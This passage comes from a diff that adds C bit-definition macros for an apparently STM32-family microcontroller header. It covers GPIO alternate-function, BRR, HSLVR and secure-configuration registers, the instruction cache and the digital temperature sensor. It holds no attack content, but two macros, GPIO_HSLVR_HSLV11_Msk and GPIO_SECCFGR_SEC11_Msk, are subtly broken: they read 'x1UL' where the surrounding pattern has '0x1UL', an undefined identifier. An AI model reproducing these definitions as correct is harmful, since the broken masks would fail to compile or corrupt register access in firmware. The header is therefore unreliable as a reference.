(0x4UL << GPIO_AFRL_AFSEL4_Pos) /*!< 0x00040000 */ +#define GPIO_AFRL_AFSEL4_3 (0x8UL << GPIO_AFRL_AFSEL4_Pos) /*!< 0x00080000 */ +#define GPIO_AFRL_AFSEL5_Pos (20U) +#define GPIO_AFRL_AFSEL5_Msk (0xFUL << GPIO_AFRL_AFSEL5_Pos) /*!< 0x00F00000 */ +#define GPIO_AFRL_AFSEL5 GPIO_AFRL_AFSEL5_Msk +#define GPIO_AFRL_AFSEL5_0 (0x1UL << GPIO_AFRL_AFSEL5_Pos) /*!< 0x00100000 */ +#define GPIO_AFRL_AFSEL5_1 (0x2UL << GPIO_AFRL_AFSEL5_Pos) /*!< 0x00200000 */ +#define GPIO_AFRL_AFSEL5_2 (0x4UL << GPIO_AFRL_AFSEL5_Pos) /*!< 0x00400000 */ +#define GPIO_AFRL_AFSEL5_3 (0x8UL << GPIO_AFRL_AFSEL5_Pos) /*!< 0x00800000 */ +#define GPIO_AFRL_AFSEL6_Pos (24U) +#define GPIO_AFRL_AFSEL6_Msk (0xFUL << GPIO_AFRL_AFSEL6_Pos) /*!< 0x0F000000 */ +#define GPIO_AFRL_AFSEL6 GPIO_AFRL_AFSEL6_Msk +#define GPIO_AFRL_AFSEL6_0 (0x1UL << GPIO_AFRL_AFSEL6_Pos) /*!< 0x01000000 */ +#define GPIO_AFRL_AFSEL6_1 (0x2UL << GPIO_AFRL_AFSEL6_Pos) /*!< 0x02000000 */ +#define GPIO_AFRL_AFSEL6_2 (0x4UL << GPIO_AFRL_AFSEL6_Pos) /*!< 0x04000000 */ +#define GPIO_AFRL_AFSEL6_3 (0x8UL << GPIO_AFRL_AFSEL6_Pos) /*!< 0x08000000 */ +#define GPIO_AFRL_AFSEL7_Pos (28U) +#define GPIO_AFRL_AFSEL7_Msk (0xFUL << GPIO_AFRL_AFSEL7_Pos) /*!< 0xF0000000 */ +#define GPIO_AFRL_AFSEL7 GPIO_AFRL_AFSEL7_Msk +#define GPIO_AFRL_AFSEL7_0 (0x1UL << GPIO_AFRL_AFSEL7_Pos) /*!< 0x10000000 */ +#define GPIO_AFRL_AFSEL7_1 (0x2UL << GPIO_AFRL_AFSEL7_Pos) /*!< 0x20000000 */ +#define GPIO_AFRL_AFSEL7_2 (0x4UL << GPIO_AFRL_AFSEL7_Pos) /*!< 0x40000000 */ +#define GPIO_AFRL_AFSEL7_3 (0x8UL << GPIO_AFRL_AFSEL7_Pos) /*!< 0x80000000 */ + +/****************** Bit definition for GPIO_AFRH register *********************/ +#define GPIO_AFRH_AFSEL8_Pos (0U) +#define GPIO_AFRH_AFSEL8_Msk (0xFUL << GPIO_AFRH_AFSEL8_Pos) /*!< 0x0000000F */ +#define GPIO_AFRH_AFSEL8 GPIO_AFRH_AFSEL8_Msk +#define GPIO_AFRH_AFSEL8_0 (0x1UL << GPIO_AFRH_AFSEL8_Pos) /*!< 0x00000001 */ +#define GPIO_AFRH_AFSEL8_1 (0x2UL << GPIO_AFRH_AFSEL8_Pos) /*!< 0x00000002 */ +#define GPIO_AFRH_AFSEL8_2 (0x4UL << GPIO_AFRH_AFSEL8_Pos) /*!< 0x00000004 */ +#define GPIO_AFRH_AFSEL8_3 (0x8UL << GPIO_AFRH_AFSEL8_Pos) /*!< 0x00000008 */ +#define GPIO_AFRH_AFSEL9_Pos (4U) +#define GPIO_AFRH_AFSEL9_Msk (0xFUL << GPIO_AFRH_AFSEL9_Pos) /*!< 0x000000F0 */ +#define GPIO_AFRH_AFSEL9 GPIO_AFRH_AFSEL9_Msk +#define GPIO_AFRH_AFSEL9_0 (0x1UL << GPIO_AFRH_AFSEL9_Pos) /*!< 0x00000010 */ +#define GPIO_AFRH_AFSEL9_1 (0x2UL << GPIO_AFRH_AFSEL9_Pos) /*!< 0x00000020 */ +#define GPIO_AFRH_AFSEL9_2 (0x4UL << GPIO_AFRH_AFSEL9_Pos) /*!< 0x00000040 */ +#define GPIO_AFRH_AFSEL9_3 (0x8UL << GPIO_AFRH_AFSEL9_Pos) /*!< 0x00000080 */ +#define GPIO_AFRH_AFSEL10_Pos (8U) +#define GPIO_AFRH_AFSEL10_Msk (0xFUL << GPIO_AFRH_AFSEL10_Pos) /*!< 0x00000F00 */ +#define GPIO_AFRH_AFSEL10 GPIO_AFRH_AFSEL10_Msk +#define GPIO_AFRH_AFSEL10_0 (0x1UL << GPIO_AFRH_AFSEL10_Pos) /*!< 0x00000100 */ +#define GPIO_AFRH_AFSEL10_1 (0x2UL << GPIO_AFRH_AFSEL10_Pos) /*!< 0x00000200 */ +#define GPIO_AFRH_AFSEL10_2 (0x4UL << GPIO_AFRH_AFSEL10_Pos) /*!< 0x00000400 */ +#define GPIO_AFRH_AFSEL10_3 (0x8UL << GPIO_AFRH_AFSEL10_Pos) /*!< 0x00000800 */ +#define GPIO_AFRH_AFSEL11_Pos (12U) +#define GPIO_AFRH_AFSEL11_Msk (0xFUL << GPIO_AFRH_AFSEL11_Pos) /*!< 0x0000F000 */ +#define GPIO_AFRH_AFSEL11 GPIO_AFRH_AFSEL11_Msk +#define GPIO_AFRH_AFSEL11_0 (0x1UL << GPIO_AFRH_AFSEL11_Pos) /*!< 0x00001000 */ +#define GPIO_AFRH_AFSEL11_1 (0x2UL << GPIO_AFRH_AFSEL11_Pos) /*!< 0x00002000 */ +#define GPIO_AFRH_AFSEL11_2 (0x4UL << GPIO_AFRH_AFSEL11_Pos) /*!< 0x00004000 */ +#define GPIO_AFRH_AFSEL11_3 (0x8UL << GPIO_AFRH_AFSEL11_Pos) /*!< 0x00008000 */ +#define GPIO_AFRH_AFSEL12_Pos (16U) +#define GPIO_AFRH_AFSEL12_Msk (0xFUL << GPIO_AFRH_AFSEL12_Pos) /*!< 0x000F0000 */ +#define GPIO_AFRH_AFSEL12 GPIO_AFRH_AFSEL12_Msk +#define GPIO_AFRH_AFSEL12_0 (0x1UL << GPIO_AFRH_AFSEL12_Pos) /*!< 0x00010000 */ +#define GPIO_AFRH_AFSEL12_1 (0x2UL << GPIO_AFRH_AFSEL12_Pos) /*!< 0x00020000 */ +#define GPIO_AFRH_AFSEL12_2 (0x4UL << GPIO_AFRH_AFSEL12_Pos) /*!< 0x00040000 */ +#define GPIO_AFRH_AFSEL12_3 (0x8UL << GPIO_AFRH_AFSEL12_Pos) /*!< 0x00080000 */ +#define GPIO_AFRH_AFSEL13_Pos (20U) +#define GPIO_AFRH_AFSEL13_Msk (0xFUL << GPIO_AFRH_AFSEL13_Pos) /*!< 0x00F00000 */ +#define GPIO_AFRH_AFSEL13 GPIO_AFRH_AFSEL13_Msk +#define GPIO_AFRH_AFSEL13_0 (0x1UL << GPIO_AFRH_AFSEL13_Pos) /*!< 0x00100000 */ +#define GPIO_AFRH_AFSEL13_1 (0x2UL << GPIO_AFRH_AFSEL13_Pos) /*!< 0x00200000 */ +#define GPIO_AFRH_AFSEL13_2 (0x4UL << GPIO_AFRH_AFSEL13_Pos) /*!< 0x00400000 */ +#define GPIO_AFRH_AFSEL13_3 (0x8UL << GPIO_AFRH_AFSEL13_Pos) /*!< 0x00800000 */ +#define GPIO_AFRH_AFSEL14_Pos (24U) +#define GPIO_AFRH_AFSEL14_Msk (0xFUL << GPIO_AFRH_AFSEL14_Pos) /*!< 0x0F000000 */ +#define GPIO_AFRH_AFSEL14 GPIO_AFRH_AFSEL14_Msk +#define GPIO_AFRH_AFSEL14_0 (0x1UL << GPIO_AFRH_AFSEL14_Pos) /*!< 0x01000000 */ +#define GPIO_AFRH_AFSEL14_1 (0x2UL << GPIO_AFRH_AFSEL14_Pos) /*!< 0x02000000 */ +#define GPIO_AFRH_AFSEL14_2 (0x4UL << GPIO_AFRH_AFSEL14_Pos) /*!< 0x04000000 */ +#define GPIO_AFRH_AFSEL14_3 (0x8UL << GPIO_AFRH_AFSEL14_Pos) /*!< 0x08000000 */ +#define GPIO_AFRH_AFSEL15_Pos (28U) +#define GPIO_AFRH_AFSEL15_Msk (0xFUL << GPIO_AFRH_AFSEL15_Pos) /*!< 0xF0000000 */ +#define GPIO_AFRH_AFSEL15 GPIO_AFRH_AFSEL15_Msk +#define GPIO_AFRH_AFSEL15_0 (0x1UL << GPIO_AFRH_AFSEL15_Pos) /*!< 0x10000000 */ +#define GPIO_AFRH_AFSEL15_1 (0x2UL << GPIO_AFRH_AFSEL15_Pos) /*!< 0x20000000 */ +#define GPIO_AFRH_AFSEL15_2 (0x4UL << GPIO_AFRH_AFSEL15_Pos) /*!< 0x40000000 */ +#define GPIO_AFRH_AFSEL15_3 (0x8UL << GPIO_AFRH_AFSEL15_Pos) /*!< 0x80000000 */ + +/****************** Bits definition for GPIO_BRR register ******************/ +#define GPIO_BRR_BR0_Pos (0U) +#define GPIO_BRR_BR0_Msk (0x1UL << GPIO_BRR_BR0_Pos) /*!< 0x00000001 */ +#define GPIO_BRR_BR0 GPIO_BRR_BR0_Msk +#define GPIO_BRR_BR1_Pos (1U) +#define GPIO_BRR_BR1_Msk (0x1UL << GPIO_BRR_BR1_Pos) /*!< 0x00000002 */ +#define GPIO_BRR_BR1 GPIO_BRR_BR1_Msk +#define GPIO_BRR_BR2_Pos (2U) +#define GPIO_BRR_BR2_Msk (0x1UL << GPIO_BRR_BR2_Pos) /*!< 0x00000004 */ +#define GPIO_BRR_BR2 GPIO_BRR_BR2_Msk +#define GPIO_BRR_BR3_Pos (3U) +#define GPIO_BRR_BR3_Msk (0x1UL << GPIO_BRR_BR3_Pos) /*!< 0x00000008 */ +#define GPIO_BRR_BR3 GPIO_BRR_BR3_Msk +#define GPIO_BRR_BR4_Pos (4U) +#define GPIO_BRR_BR4_Msk (0x1UL << GPIO_BRR_BR4_Pos) /*!< 0x00000010 */ +#define GPIO_BRR_BR4 GPIO_BRR_BR4_Msk +#define GPIO_BRR_BR5_Pos (5U) +#define GPIO_BRR_BR5_Msk (0x1UL << GPIO_BRR_BR5_Pos) /*!< 0x00000020 */ +#define GPIO_BRR_BR5 GPIO_BRR_BR5_Msk +#define GPIO_BRR_BR6_Pos (6U) +#define GPIO_BRR_BR6_Msk (0x1UL << GPIO_BRR_BR6_Pos) /*!< 0x00000040 */ +#define GPIO_BRR_BR6 GPIO_BRR_BR6_Msk +#define GPIO_BRR_BR7_Pos (7U) +#define GPIO_BRR_BR7_Msk (0x1UL << GPIO_BRR_BR7_Pos) /*!< 0x00000080 */ +#define GPIO_BRR_BR7 GPIO_BRR_BR7_Msk +#define GPIO_BRR_BR8_Pos (8U) +#define GPIO_BRR_BR8_Msk (0x1UL << GPIO_BRR_BR8_Pos) /*!< 0x00000100 */ +#define GPIO_BRR_BR8 GPIO_BRR_BR8_Msk +#define GPIO_BRR_BR9_Pos (9U) +#define GPIO_BRR_BR9_Msk (0x1UL << GPIO_BRR_BR9_Pos) /*!< 0x00000200 */ +#define GPIO_BRR_BR9 GPIO_BRR_BR9_Msk +#define GPIO_BRR_BR10_Pos (10U) +#define GPIO_BRR_BR10_Msk (0x1UL << GPIO_BRR_BR10_Pos) /*!< 0x00000400 */ +#define GPIO_BRR_BR10 GPIO_BRR_BR10_Msk +#define GPIO_BRR_BR11_Pos (11U) +#define GPIO_BRR_BR11_Msk (0x1UL << GPIO_BRR_BR11_Pos) /*!< 0x00000800 */ +#define GPIO_BRR_BR11 GPIO_BRR_BR11_Msk +#define GPIO_BRR_BR12_Pos (12U) +#define GPIO_BRR_BR12_Msk (0x1UL << GPIO_BRR_BR12_Pos) /*!< 0x00001000 */ +#define GPIO_BRR_BR12 GPIO_BRR_BR12_Msk +#define GPIO_BRR_BR13_Pos (13U) +#define GPIO_BRR_BR13_Msk (0x1UL << GPIO_BRR_BR13_Pos) /*!< 0x00002000 */ +#define GPIO_BRR_BR13 GPIO_BRR_BR13_Msk +#define GPIO_BRR_BR14_Pos (14U) +#define GPIO_BRR_BR14_Msk (0x1UL << GPIO_BRR_BR14_Pos) /*!< 0x00004000 */ +#define GPIO_BRR_BR14 GPIO_BRR_BR14_Msk +#define GPIO_BRR_BR15_Pos (15U) +#define GPIO_BRR_BR15_Msk (0x1UL << GPIO_BRR_BR15_Pos) /*!< 0x00008000 */ +#define GPIO_BRR_BR15 GPIO_BRR_BR15_Msk + +/****************** Bits definition for GPIO_HSLVR register ******************/ +#define GPIO_HSLVR_HSLV0_Pos (0U) +#define GPIO_HSLVR_HSLV0_Msk (0x1UL << GPIO_HSLVR_HSLV0_Pos) /*!< 0x00000001 */ +#define GPIO_HSLVR_HSLV0 GPIO_HSLVR_HSLV0_Msk +#define GPIO_HSLVR_HSLV1_Pos (1U) +#define GPIO_HSLVR_HSLV1_Msk (0x1UL << GPIO_HSLVR_HSLV1_Pos) /*!< 0x00000002 */ +#define GPIO_HSLVR_HSLV1 GPIO_HSLVR_HSLV1_Msk +#define GPIO_HSLVR_HSLV2_Pos (2U) +#define GPIO_HSLVR_HSLV2_Msk (0x1UL << GPIO_HSLVR_HSLV2_Pos) /*!< 0x00000004 */ +#define GPIO_HSLVR_HSLV2 GPIO_HSLVR_HSLV2_Msk +#define GPIO_HSLVR_HSLV3_Pos (3U) +#define GPIO_HSLVR_HSLV3_Msk (0x1UL << GPIO_HSLVR_HSLV3_Pos) /*!< 0x00000008 */ +#define GPIO_HSLVR_HSLV3 GPIO_HSLVR_HSLV3_Msk +#define GPIO_HSLVR_HSLV4_Pos (4U) +#define GPIO_HSLVR_HSLV4_Msk (0x1UL << GPIO_HSLVR_HSLV4_Pos) /*!< 0x00000010 */ +#define GPIO_HSLVR_HSLV4 GPIO_HSLVR_HSLV4_Msk +#define GPIO_HSLVR_HSLV5_Pos (5U) +#define GPIO_HSLVR_HSLV5_Msk (0x1UL << GPIO_HSLVR_HSLV5_Pos) /*!< 0x00000020 */ +#define GPIO_HSLVR_HSLV5 GPIO_HSLVR_HSLV5_Msk +#define GPIO_HSLVR_HSLV6_Pos (6U) +#define GPIO_HSLVR_HSLV6_Msk (0x1UL << GPIO_HSLVR_HSLV6_Pos) /*!< 0x00000040 */ +#define GPIO_HSLVR_HSLV6 GPIO_HSLVR_HSLV6_Msk +#define GPIO_HSLVR_HSLV7_Pos (7U) +#define GPIO_HSLVR_HSLV7_Msk (0x1UL << GPIO_HSLVR_HSLV7_Pos) /*!< 0x00000080 */ +#define GPIO_HSLVR_HSLV7 GPIO_HSLVR_HSLV7_Msk +#define GPIO_HSLVR_HSLV8_Pos (8U) +#define GPIO_HSLVR_HSLV8_Msk (0x1UL << GPIO_HSLVR_HSLV8_Pos) /*!< 0x00000100 */ +#define GPIO_HSLVR_HSLV8 GPIO_HSLVR_HSLV8_Msk +#define GPIO_HSLVR_HSLV9_Pos (9U) +#define GPIO_HSLVR_HSLV9_Msk (0x1UL << GPIO_HSLVR_HSLV9_Pos) /*!< 0x00000200 */ +#define GPIO_HSLVR_HSLV9 GPIO_HSLVR_HSLV9_Msk +#define GPIO_HSLVR_HSLV10_Pos (10U) +#define GPIO_HSLVR_HSLV10_Msk (0x1UL << GPIO_HSLVR_HSLV10_Pos) /*!< 0x00000400 */ +#define GPIO_HSLVR_HSLV10 GPIO_HSLVR_HSLV10_Msk +#define GPIO_HSLVR_HSLV11_Pos (11U) +#define GPIO_HSLVR_HSLV11_Msk (x1UL << GPIO_HSLVR_HSLV11_Pos) /*!< 0x00000800 */ +#define GPIO_HSLVR_HSLV11 GPIO_HSLVR_HSLV11_Msk +#define GPIO_HSLVR_HSLV12_Pos (12U) +#define GPIO_HSLVR_HSLV12_Msk (0x1UL << GPIO_HSLVR_HSLV12_Pos) /*!< 0x00001000 */ +#define GPIO_HSLVR_HSLV12 GPIO_HSLVR_HSLV12_Msk +#define GPIO_HSLVR_HSLV13_Pos (13U) +#define GPIO_HSLVR_HSLV13_Msk (0x1UL << GPIO_HSLVR_HSLV13_Pos) /*!< 0x00002000 */ +#define GPIO_HSLVR_HSLV13 GPIO_HSLVR_HSLV13_Msk +#define GPIO_HSLVR_HSLV14_Pos (14U) +#define GPIO_HSLVR_HSLV14_Msk (0x1UL << GPIO_HSLVR_HSLV14_Pos) /*!< 0x00004000 */ +#define GPIO_HSLVR_HSLV14 GPIO_HSLVR_HSLV14_Msk +#define GPIO_HSLVR_HSLV15_Pos (15U) +#define GPIO_HSLVR_HSLV15_Msk (0x1UL << GPIO_HSLVR_HSLV15_Pos) /*!< 0x00008000 */ +#define GPIO_HSLVR_HSLV15 GPIO_HSLVR_HSLV15_Msk + +/****************** Bits definition for GPIO_SECCFGR register ******************/ +#define GPIO_SECCFGR_SEC0_Pos (0U) +#define GPIO_SECCFGR_SEC0_Msk (0x1UL << GPIO_SECCFGR_SEC0_Pos) /*!< 0x00000001 */ +#define GPIO_SECCFGR_SEC0 GPIO_SECCFGR_SEC0_Msk +#define GPIO_SECCFGR_SEC1_Pos (1U) +#define GPIO_SECCFGR_SEC1_Msk (0x1UL << GPIO_SECCFGR_SEC1_Pos) /*!< 0x00000002 */ +#define GPIO_SECCFGR_SEC1 GPIO_SECCFGR_SEC1_Msk +#define GPIO_SECCFGR_SEC2_Pos (2U) +#define GPIO_SECCFGR_SEC2_Msk (0x1UL << GPIO_SECCFGR_SEC2_Pos) /*!< 0x00000004 */ +#define GPIO_SECCFGR_SEC2 GPIO_SECCFGR_SEC2_Msk +#define GPIO_SECCFGR_SEC3_Pos (3U) +#define GPIO_SECCFGR_SEC3_Msk (0x1UL << GPIO_SECCFGR_SEC3_Pos) /*!< 0x00000008 */ +#define GPIO_SECCFGR_SEC3 GPIO_SECCFGR_SEC3_Msk +#define GPIO_SECCFGR_SEC4_Pos (4U) +#define GPIO_SECCFGR_SEC4_Msk (0x1UL << GPIO_SECCFGR_SEC4_Pos) /*!< 0x00000010 */ +#define GPIO_SECCFGR_SEC4 GPIO_SECCFGR_SEC4_Msk +#define GPIO_SECCFGR_SEC5_Pos (5U) +#define GPIO_SECCFGR_SEC5_Msk (0x1UL << GPIO_SECCFGR_SEC5_Pos) /*!< 0x00000020 */ +#define GPIO_SECCFGR_SEC5 GPIO_SECCFGR_SEC5_Msk +#define GPIO_SECCFGR_SEC6_Pos (6U) +#define GPIO_SECCFGR_SEC6_Msk (0x1UL << GPIO_SECCFGR_SEC6_Pos) /*!< 0x00000040 */ +#define GPIO_SECCFGR_SEC6 GPIO_SECCFGR_SEC6_Msk +#define GPIO_SECCFGR_SEC7_Pos (7U) +#define GPIO_SECCFGR_SEC7_Msk (0x1UL << GPIO_SECCFGR_SEC7_Pos) /*!< 0x00000080 */ +#define GPIO_SECCFGR_SEC7 GPIO_SECCFGR_SEC7_Msk +#define GPIO_SECCFGR_SEC8_Pos (8U) +#define GPIO_SECCFGR_SEC8_Msk (0x1UL << GPIO_SECCFGR_SEC8_Pos) /*!< 0x00000100 */ +#define GPIO_SECCFGR_SEC8 GPIO_SECCFGR_SEC8_Msk +#define GPIO_SECCFGR_SEC9_Pos (9U) +#define GPIO_SECCFGR_SEC9_Msk (0x1UL << GPIO_SECCFGR_SEC9_Pos) /*!< 0x00000200 */ +#define GPIO_SECCFGR_SEC9 GPIO_SECCFGR_SEC9_Msk +#define GPIO_SECCFGR_SEC10_Pos (10U) +#define GPIO_SECCFGR_SEC10_Msk (0x1UL << GPIO_SECCFGR_SEC10_Pos) /*!< 0x00000400 */ +#define GPIO_SECCFGR_SEC10 GPIO_SECCFGR_SEC10_Msk +#define GPIO_SECCFGR_SEC11_Pos (11U) +#define GPIO_SECCFGR_SEC11_Msk (x1UL << GPIO_SECCFGR_SEC11_Pos) /*!< 0x00000800 */ +#define GPIO_SECCFGR_SEC11 GPIO_SECCFGR_SEC11_Msk +#define GPIO_SECCFGR_SEC12_Pos (12U) +#define GPIO_SECCFGR_SEC12_Msk (0x1UL << GPIO_SECCFGR_SEC12_Pos) /*!< 0x00001000 */ +#define GPIO_SECCFGR_SEC12 GPIO_SECCFGR_SEC12_Msk +#define GPIO_SECCFGR_SEC13_Pos (13U) +#define GPIO_SECCFGR_SEC13_Msk (0x1UL << GPIO_SECCFGR_SEC13_Pos) /*!< 0x00002000 */ +#define GPIO_SECCFGR_SEC13 GPIO_SECCFGR_SEC13_Msk +#define GPIO_SECCFGR_SEC14_Pos (14U) +#define GPIO_SECCFGR_SEC14_Msk (0x1UL << GPIO_SECCFGR_SEC14_Pos) /*!< 0x00004000 */ +#define GPIO_SECCFGR_SEC14 GPIO_SECCFGR_SEC14_Msk +#define GPIO_SECCFGR_SEC15_Pos (15U) +#define GPIO_SECCFGR_SEC15_Msk (0x1UL << GPIO_SECCFGR_SEC15_Pos) /*!< 0x00008000 */ +#define GPIO_SECCFGR_SEC15 GPIO_SECCFGR_SEC15_Msk + +/******************************************************************************/ +/* */ +/* ICACHE */ +/* */ +/******************************************************************************/ +/****************** Bit definition for ICACHE_CR register *******************/ +#define ICACHE_CR_EN_Pos (0U) +#define ICACHE_CR_EN_Msk (0x1UL << ICACHE_CR_EN_Pos) /*!< 0x00000001 */ +#define ICACHE_CR_EN ICACHE_CR_EN_Msk /*!< Enable */ +#define ICACHE_CR_CACHEINV_Pos (1U) +#define ICACHE_CR_CACHEINV_Msk (0x1UL << ICACHE_CR_CACHEINV_Pos) /*!< 0x00000002 */ +#define ICACHE_CR_CACHEINV ICACHE_CR_CACHEINV_Msk /*!< Cache invalidation */ +#define ICACHE_CR_WAYSEL_Pos (2U) +#define ICACHE_CR_WAYSEL_Msk (0x1UL << ICACHE_CR_WAYSEL_Pos) /*!< 0x00000004 */ +#define ICACHE_CR_WAYSEL ICACHE_CR_WAYSEL_Msk /*!< Ways selection */ +#define ICACHE_CR_HITMEN_Pos (16U) +#define ICACHE_CR_HITMEN_Msk (0x1UL << ICACHE_CR_HITMEN_Pos) /*!< 0x00010000 */ +#define ICACHE_CR_HITMEN ICACHE_CR_HITMEN_Msk /*!< Hit monitor enable */ +#define ICACHE_CR_MISSMEN_Pos (17U) +#define ICACHE_CR_MISSMEN_Msk (0x1UL << ICACHE_CR_MISSMEN_Pos) /*!< 0x00020000 */ +#define ICACHE_CR_MISSMEN ICACHE_CR_MISSMEN_Msk /*!< Miss monitor enable */ +#define ICACHE_CR_HITMRST_Pos (18U) +#define ICACHE_CR_HITMRST_Msk (0x1UL << ICACHE_CR_HITMRST_Pos) /*!< 0x00040000 */ +#define ICACHE_CR_HITMRST ICACHE_CR_HITMRST_Msk /*!< Hit monitor reset */ +#define ICACHE_CR_MISSMRST_Pos (19U) +#define ICACHE_CR_MISSMRST_Msk (0x1UL << ICACHE_CR_MISSMRST_Pos) /*!< 0x00080000 */ +#define ICACHE_CR_MISSMRST ICACHE_CR_MISSMRST_Msk /*!< Miss monitor reset */ + +/****************** Bit definition for ICACHE_SR register *******************/ +#define ICACHE_SR_BUSYF_Pos (0U) +#define ICACHE_SR_BUSYF_Msk (0x1UL << ICACHE_SR_BUSYF_Pos) /*!< 0x00000001 */ +#define ICACHE_SR_BUSYF ICACHE_SR_BUSYF_Msk /*!< Busy flag */ +#define ICACHE_SR_BSYENDF_Pos (1U) +#define ICACHE_SR_BSYENDF_Msk (0x1UL << ICACHE_SR_BSYENDF_Pos) /*!< 0x00000002 */ +#define ICACHE_SR_BSYENDF ICACHE_SR_BSYENDF_Msk /*!< Busy end flag */ +#define ICACHE_SR_ERRF_Pos (2U) +#define ICACHE_SR_ERRF_Msk (0x1UL << ICACHE_SR_ERRF_Pos) /*!< 0x00000004 */ +#define ICACHE_SR_ERRF ICACHE_SR_ERRF_Msk /*!< Cache error flag */ + +/****************** Bit definition for ICACHE_IER register ******************/ +#define ICACHE_IER_BSYENDIE_Pos (1U) +#define ICACHE_IER_BSYENDIE_Msk (0x1UL << ICACHE_IER_BSYENDIE_Pos) /*!< 0x00000002 */ +#define ICACHE_IER_BSYENDIE ICACHE_IER_BSYENDIE_Msk /*!< Busy end interrupt enable */ +#define ICACHE_IER_ERRIE_Pos (2U) +#define ICACHE_IER_ERRIE_Msk (0x1UL << ICACHE_IER_ERRIE_Pos) /*!< 0x00000004 */ +#define ICACHE_IER_ERRIE ICACHE_IER_ERRIE_Msk /*!< Cache error interrupt enable */ + +/****************** Bit definition for ICACHE_FCR register ******************/ +#define ICACHE_FCR_CBSYENDF_Pos (1U) +#define ICACHE_FCR_CBSYENDF_Msk (0x1UL << ICACHE_FCR_CBSYENDF_Pos) /*!< 0x00000002 */ +#define ICACHE_FCR_CBSYENDF ICACHE_FCR_CBSYENDF_Msk /*!< Busy end flag clear */ +#define ICACHE_FCR_CERRF_Pos (2U) +#define ICACHE_FCR_CERRF_Msk (0x1UL << ICACHE_FCR_CERRF_Pos) /*!< 0x00000004 */ +#define ICACHE_FCR_CERRF ICACHE_FCR_CERRF_Msk /*!< Cache error flag clear */ + +/****************** Bit definition for ICACHE_HMONR register ****************/ +#define ICACHE_HMONR_HITMON_Pos (0U) +#define ICACHE_HMONR_HITMON_Msk (0xFFFFFFFFUL << ICACHE_HMONR_HITMON_Pos) /*!< 0xFFFFFFFF */ +#define ICACHE_HMONR_HITMON ICACHE_HMONR_HITMON_Msk /*!< Cache hit monitor register */ + +/****************** Bit definition for ICACHE_MMONR register ****************/ +#define ICACHE_MMONR_MISSMON_Pos (0U) +#define ICACHE_MMONR_MISSMON_Msk (0xFFFFUL << ICACHE_MMONR_MISSMON_Pos) /*!< 0x0000FFFF */ +#define ICACHE_MMONR_MISSMON ICACHE_MMONR_MISSMON_Msk /*!< Cache miss monitor register */ + + +/******************************************************************************/ +/* */ +/* Digital Temperature Sensor (DTS) */ +/* */ +/******************************************************************************/ + +/****************** Bit definition for DTS_CFGR1 register ******************/ +#define DTS_CFGR1_TS1_EN_Pos (0U) +#define DTS_CFGR1_TS1_EN_Msk (0x1UL << DTS_CFGR1_TS1_EN_Pos) /*!< 0x00000001 */ +#define DTS_CFGR1_TS1_EN DTS_CFGR1_TS1_EN_Msk /*!< DTS Enable */ +#define DTS_CFGR1_TS1_START_Pos (4U) +#define DTS_CFGR1_TS1_START_Msk (0x1UL << DTS_CFGR1_TS1_START_Pos) /*!< 0x00000010 */ +#define DTS_CFGR1_TS1_START DTS_CFGR1_TS1_START_Msk /*!< Proceed to a frequency measurement on DTS */ +#define DTS_CFGR1_TS1_INTRIG_SEL_Pos (8U) +#define DTS_CFGR1_TS1_INTRIG_SEL_Msk (0xFUL << DTS_CFGR1_TS1_INTRIG_SEL_Pos) /*!< 0x00000F00 */ +#define DTS_CFGR1_TS1_INTRIG_SEL DTS_CFGR1_TS1_INTRIG_SEL_Msk /*!< Input triggers selection bits [3:0] for DTS */ +#define DTS_CFGR1_TS1_INTRIG_SEL_0 (0x1UL << DTS_CFGR1_TS1_INTRIG_SEL_Pos) /*!< 0x00000100 */ +#define DTS_CFGR1_TS1_INTRIG_SEL_1 (0x2UL << DTS_CFGR1_TS1_INTRIG_SEL_Pos) /*!< 0x00000200 */ +#define DTS_CFGR1_TS1_INTRIG_SEL_2 (0x4UL << DTS_CFGR1_TS1_INTRIG_SEL_Pos) /*!< 0x00000400 */ +#define DTS_CFGR1_TS1_INTRIG_SEL_3 (0x8UL << DTS_CFGR1_TS1_INTRIG_SEL_Pos) /*!< 0x00000800 */ +#define DTS_CFGR1_TS1_SMP_TIME_Pos (16U) +#define DTS_CFGR1_TS1_SMP_TIME_Msk (0xFUL << DTS_CFGR1_TS1_SMP_TIME_Pos) /*!< 0x000F0000 */ +#define DTS_CFGR1_TS1_SMP_TIME DTS_CFGR1_TS1_SMP_TIME_Msk /*!< Sample time [3:0] for DTS */ +#define DTS_CFGR1_TS1_SMP_TIME_0 (0x1UL << DTS_CFGR1_TS1_SMP_TIME_Pos) /*!< 0x00010000 */ +#define DTS_CFGR1_TS1_SMP_TIME_1 (0x2UL << DTS_CFGR1_TS1_SMP_TIME_Pos) /*!< 0x00020000 */ +#define DTS_CFGR1_TS1_SMP_TIME_2 (0x4UL << DTS_CFGR1_TS1_SMP_TIME_Pos) /*!< 0x00040000 */ +#define DTS_CFGR1_TS1_SMP_TIME_3 (0x8UL << DTS_CFGR1_TS1_SMP_TIME_Pos) /*!< 0x00080000 */ +#define DTS_CFGR1_REFCLK_SEL_Pos (20U) +#define DTS_CFGR1_REFCLK_SEL_Msk (0x1UL << DTS_CFGR1_REFCLK_SEL_Pos) /*!< 0x00100000 */ +#define DTS_CFGR1_REFCLK_SEL DTS_CFGR1_REFCLK_SEL_Msk /*!< Reference Clock Selection */ +#define DTS_CFGR1_Q_MEAS_OPT_Pos (21U) +#define DTS_CFGR1_Q_MEAS_OPT_Msk (0x1UL << DTS_CFGR1_Q_MEAS_OPT_Pos) /*!< 0x00200000 */ +#define DTS_CFGR1_Q_MEAS_OPT DTS_CFGR1_Q_MEAS_OPT_Msk /*!< Quick measure option bit */ +#define DTS_CFGR1_HSREF_CLK_DIV_Pos (24U) +#define DTS_CFGR1_HSREF_CLK_DIV_Msk (0x7FUL << DTS_CFGR1_HSREF_CLK_DIV_Pos) /*!< 0x7F000000 */ +#define DTS_CFGR1_HSREF_CLK_DIV DTS_CFGR1_HSREF_CLK_DIV_Msk /*!< High Speed Clock Divider Ratio [6:0]*/ + +/****************** Bit definition for DTS_T0VALR1 register ******************/ +#define DTS_T0VALR1_TS1_FMT0_Pos (0U) +#define DTS_T0VALR1_TS1_FMT0_Msk (0xFFFFUL << DTS_T0VALR1_TS1_FMT0_Pos) /*!< 0x0000FFFF */ +#define DTS_T0VALR1_TS1_FMT0 DTS_T0VALR1_TS1_FMT0_Msk /*!< Engineering value of the measured frequency at T0 for DTS */ +#define DTS_T0VALR1_TS1_T0_Pos (16U) +#define DTS_T0VALR1_TS1_T0_Msk (0x3UL << DTS_T0VALR1_TS1_T0_Pos) /*!< 0x00030000 */ +#define DTS_T0VALR1_TS1_T0 DTS_T0VALR1_TS1_T0_Msk 